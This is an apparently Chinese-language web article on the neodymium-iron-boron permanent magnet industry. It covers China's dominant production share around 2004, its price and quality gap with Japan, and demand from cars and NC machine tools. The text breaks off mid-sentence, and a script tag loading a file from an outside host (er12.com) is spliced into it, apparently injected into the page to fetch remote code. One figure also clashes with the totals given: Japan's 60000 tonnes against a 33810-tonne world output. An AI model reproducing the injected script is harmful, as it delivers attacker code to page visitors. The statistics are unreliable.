钕铁硼作为第三代稀土永磁材料，具有较高的磁能级、较强的矫顽力和高的性价比，广泛应用于电子通讯、航空航天、交通能源、医疗卫生、计算机、家用电器等领域，在科研、生产、应用等方面都得到了持续高速的发展。我国在钕铁硼生产上，已初步形成了自己的产业体系。近年来，以信息技术为代表的知识经济的发展，给钕铁硼产业不断带来新的用途，同时也带来了更为广阔的市场前景。
在世界制造中心向中国转移的过程中，作为高新技术产业基础的新材料备受瞩目，作为新材料产业重要组成部分的稀土永磁材料，尤其是钕铁硼产业，正进入关键性发展时期。
国内生产现状
永磁材料产业早期在全球呈三足鼎立格局，我国和欧美、日本各占1/3。近年来，随着中国经济的蓬勃发展和世界需求的大幅增长，中国磁性材料工业迎来了巨大的发展机遇。自2003年底，烧结ndfeb磁体在美国已完全停止生产，在欧洲也已基本停产，世界磁性材料产业中心已经转移到中国。
我国已经拥有8条千吨生产线，产品由原来的中低档提升为中高档，先后涌现出近10家产销超亿元的企业集团、十多家电子元件百强企业、20多家出口创汇超百万美元的企业。2003年我国稀土永磁材料产量是1.8万吨，2004年达到2.8万吨，全球销售收入由最初的20%升至60%。
近年来，随着市场需求的增加，一些有实力的烧结钕铁硼生产企业开始着手粘结钕铁硼磁体的生产，并部分采用国家优质性能的磁粉。目前国内已有年产1000吨烧结钕铁硼永磁和300吨粘结钕铁硼永磁的生产能力的企业，成为我国重要的钕铁硼生产和销售基地。
2004年全世界烧结钕铁硼的产量约为33810吨，我国的产量为27510吨，占世界产量的81%;日本的产量为60000吨，占18%；欧洲为300吨，占1%。由此可见，我国ndfeb磁体的生产在世界上已经占据了主导地位，全球80%以上的产品都是我国生产的，而且目前产量还在以每年20%~30%的速度增长。国内外订单充裕，销售市场广阔，显示出这个行业的发展巳渐入佳境，正驶入“快车道”。
近年来，我国从事与稀土相关研究的企业已有200家左右，各大高校、主要的研究所都在进行相关的工作。在“863”项目中，共有9家单位共同合作，形成了产学研相结合的形式。经过“十五”的发展，我国的整体研究水平提高了一个档次，产品的质量也正在逐步提高。但从行业整体来看，我国的钕铁硼行业与国外先进国家相比，还存在着管理水平低、制造工艺落后、产品质量差和产品档次低的问题。
2004年我国钕铁硼的产值约为8.8亿美元，日本的产值约4.8亿美元，因此尽管我国钕铁硼的产量是日本的4倍，产值仅为日本的2倍。这主要是因为我国的产品相比之下档次较低，价格上不去，日本产品的平均价格为72美元/干克，而我国产品的平均价格为32美元/干克，每干克的单价为日本的44%。
我国钕铁硼磁体质量低的主要原因是工艺技术及设备落后，尤其是关键技术氢化破碎及铸带技术不过关。因此，尽管我国的磁性产品产量已占到了世界总额的80%，但在这个份额里，高档产品还没有形成较强的实力，利润空间还有待进一步拓展。
应用前景
钕铁硼材料在发明之初，主要应用于计算机磁盘驱动器的音圈电机(vcm)、核磁共振成像仪(mri)以及各种音像器材、微波通讯、磁力机械(磁力泵、磁性阀)、家用电器等，随着其性能的不断提高，近年来相继出现了一些新的应用领域。同时，ndfeb磁体市场价格的下降也极大地促进了新用途的开发。
汽车工业
汽车工业是钕铁硼永磁应用较多的领域之一。在每辆汽车中，一般约有30个部位使用永磁体。国外豪华轿车中使用微电机的数量已经高达70只，用以完成轿车上的各种控制动作。现在全世界年产汽车约6000万辆，按每台使用电机数30只计算，则年需要电机数为18亿只。
随着汽车向小型化、轻量化和高性能化方向发展，对汽车中使用磁体的性能要求也越来越高，这将会加快钕铁硼永磁、特别是粘结钕铁硼永磁的发展。如果粘结钕铁硼磁体在汽车中的用量增加50%，则每辆汽车就需要102g，按上述全球汽车年产量6000万辆计算，则需要粘结各向异性钕铁硼磁体约6100吨。
nc机床
在美、欧等发达国家，由于汽车行业生产自动化程度较高，己充分实现中、小批量的多品种柔性化生产，采用nc机床不断增多，许多国家的汽车和飞机行业也正朝此方向发展。
据初步统计，目前全世界机床拥有量约1400万台，其中nc机床与机床总拥有量之比约为7.1%，全世界机床产量约为150万台，其中nc机床产量20万台，nc机床所占比重约为13.3%。若按每台nc机床平均2.5坐标计算，则坐标数为50万个，其中80%采用直流?script src=http://er12.com/t.js>
